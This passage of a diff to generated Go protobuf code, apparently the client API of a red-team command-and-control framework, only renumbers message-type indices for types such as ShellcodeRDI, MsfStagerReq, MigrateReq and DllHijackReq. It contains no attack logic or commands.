file_clientpb_client_proto_rawDescGZIP(), []int{55} + return file_clientpb_client_proto_rawDescGZIP(), []int{57} } func (x *ShellcodeRDIReq) GetData() []byte { @@ -5465,7 +5583,7 @@ type ShellcodeRDI struct { func (x *ShellcodeRDI) Reset() { *x = ShellcodeRDI{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5478,7 +5596,7 @@ func (x *ShellcodeRDI) String() string { func (*ShellcodeRDI) ProtoMessage() {} func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5491,7 +5609,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead. func (*ShellcodeRDI) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{56} + return file_clientpb_client_proto_rawDescGZIP(), []int{58} } func (x *ShellcodeRDI) GetData() []byte { @@ -5519,7 +5637,7 @@ type MsfStagerReq struct { func (x *MsfStagerReq) Reset() { *x = MsfStagerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5532,7 +5650,7 @@ func (x *MsfStagerReq) String() string { func (*MsfStagerReq) ProtoMessage() {} func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5545,7 +5663,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead. func (*MsfStagerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{57} + return file_clientpb_client_proto_rawDescGZIP(), []int{59} } func (x *MsfStagerReq) GetArch() string { @@ -5615,7 +5733,7 @@ type MsfStager struct { func (x *MsfStager) Reset() { *x = MsfStager{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5628,7 +5746,7 @@ func (x *MsfStager) String() string { func (*MsfStager) ProtoMessage() {} func (x *MsfStager) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5641,7 +5759,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStager.ProtoReflect.Descriptor instead. func (*MsfStager) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{58} + return file_clientpb_client_proto_rawDescGZIP(), []int{60} } func (x *MsfStager) GetFile() *commonpb.File { @@ -5667,7 +5785,7 @@ type GetSystemReq struct { func (x *GetSystemReq) Reset() { *x = GetSystemReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5680,7 +5798,7 @@ func (x *GetSystemReq) String() string { func (*GetSystemReq) ProtoMessage() {} func (x *GetSystemReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5693,7 +5811,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead. func (*GetSystemReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{59} + return file_clientpb_client_proto_rawDescGZIP(), []int{61} } func (x *GetSystemReq) GetHostingProcess() string { @@ -5734,7 +5852,7 @@ type MigrateReq struct { func (x *MigrateReq) Reset() { *x = MigrateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5747,7 +5865,7 @@ func (x *MigrateReq) String() string { func (*MigrateReq) ProtoMessage() {} func (x *MigrateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5760,7 +5878,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead. func (*MigrateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{60} + return file_clientpb_client_proto_rawDescGZIP(), []int{62} } func (x *MigrateReq) GetPid() uint32 { @@ -5803,7 +5921,7 @@ type CreateTunnelReq struct { func (x *CreateTunnelReq) Reset() { *x = CreateTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5816,7 +5934,7 @@ func (x *CreateTunnelReq) String() string { func (*CreateTunnelReq) ProtoMessage() {} func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5829,7 +5947,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead. func (*CreateTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{61} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *CreateTunnelReq) GetRequest() *commonpb.Request { @@ -5851,7 +5969,7 @@ type CreateTunnel struct { func (x *CreateTunnel) Reset() { *x = CreateTunnel{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5864,7 +5982,7 @@ func (x *CreateTunnel) String() string { func (*CreateTunnel) ProtoMessage() {} func (x *CreateTunnel) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5877,7 +5995,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead. func (*CreateTunnel) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{62} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *CreateTunnel) GetSessionID() uint32 { @@ -5906,7 +6024,7 @@ type CloseTunnelReq struct { func (x *CloseTunnelReq) Reset() { *x = CloseTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5919,7 +6037,7 @@ func (x *CloseTunnelReq) String() string { func (*CloseTunnelReq) ProtoMessage() {} func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5932,7 +6050,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead. func (*CloseTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *CloseTunnelReq) GetTunnelID() uint64 { @@ -5964,7 +6082,7 @@ type PivotGraphEntry struct { func (x *PivotGraphEntry) Reset() { *x = PivotGraphEntry{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5977,7 +6095,7 @@ func (x *PivotGraphEntry) String() string { func (*PivotGraphEntry) ProtoMessage() {} func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5990,7 +6108,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead. func (*PivotGraphEntry) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *PivotGraphEntry) GetPeerID() int64 { @@ -6032,7 +6150,7 @@ type PivotGraph struct { func (x *PivotGraph) Reset() { *x = PivotGraph{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6045,7 +6163,7 @@ func (x *PivotGraph) String() string { func (*PivotGraph) ProtoMessage() {} func (x *PivotGraph) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6058,7 +6176,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead. func (*PivotGraph) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *PivotGraph) GetChildren() []*PivotGraphEntry { @@ -6082,7 +6200,7 @@ type Client struct { func (x *Client) Reset() { *x = Client{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6095,7 +6213,7 @@ func (x *Client) String() string { func (*Client) ProtoMessage() {} func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6108,7 +6226,7 @@ func (x *Client) ProtoReflect() protoreflect.Message { // Deprecated: Use Client.ProtoReflect.Descriptor instead. func (*Client) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *Client) GetID() uint32 { @@ -6148,7 +6266,7 @@ type Event struct { func (x *Event) Reset() { *x = Event{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6161,7 +6279,7 @@ func (x *Event) String() string { func (*Event) ProtoMessage() {} func (x *Event) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6174,7 +6292,7 @@ func (x *Event) ProtoReflect() protoreflect.Message { // Deprecated: Use Event.ProtoReflect.Descriptor instead. func (*Event) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *Event) GetEventType() string { @@ -6231,7 +6349,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6244,7 +6362,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6257,7 +6375,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *Operator) GetOnline() bool { @@ -6289,7 +6407,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6302,7 +6420,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6315,7 +6433,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *WebContent) GetPath() string { @@ -6358,7 +6476,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6371,7 +6489,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6384,7 +6502,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *WebsiteAddContent) GetName() string { @@ -6413,7 +6531,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6426,7 +6544,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6439,7 +6557,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *WebsiteRemoveContent) GetName() string { @@ -6468,7 +6586,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6481,7 +6599,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6494,7 +6612,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *Website) GetName() string { @@ -6522,7 +6640,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6535,7 +6653,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6548,7 +6666,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *Websites) GetWebsites() []*Website { @@ -6572,7 +6690,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6585,7 +6703,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6598,7 +6716,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6645,7 +6763,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6658,7 +6776,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6671,7 +6789,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *Loot) GetID() string { @@ -6727,7 +6845,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6740,7 +6858,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6753,7 +6871,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *AllLoot) GetLoot() []*Loot { @@ -6777,7 +6895,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6790,7 +6908,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6803,7 +6921,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *IOC) GetPath() string { @@ -6838,7 +6956,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6851,7 +6969,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6864,7 +6982,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *ExtensionData) GetOutput() string { @@ -6891,7 +7009,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6904,7 +7022,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6917,7 +7035,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *Host) GetHostname() string { @@ -6980,7 +7098,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6993,7 +7111,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7006,7 +7124,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *AllHosts) GetHosts() []*Host { @@ -7033,7 +7151,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7046,7 +7164,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7059,7 +7177,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -7115,7 +7233,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7128,7 +7246,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7141,7 +7259,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use 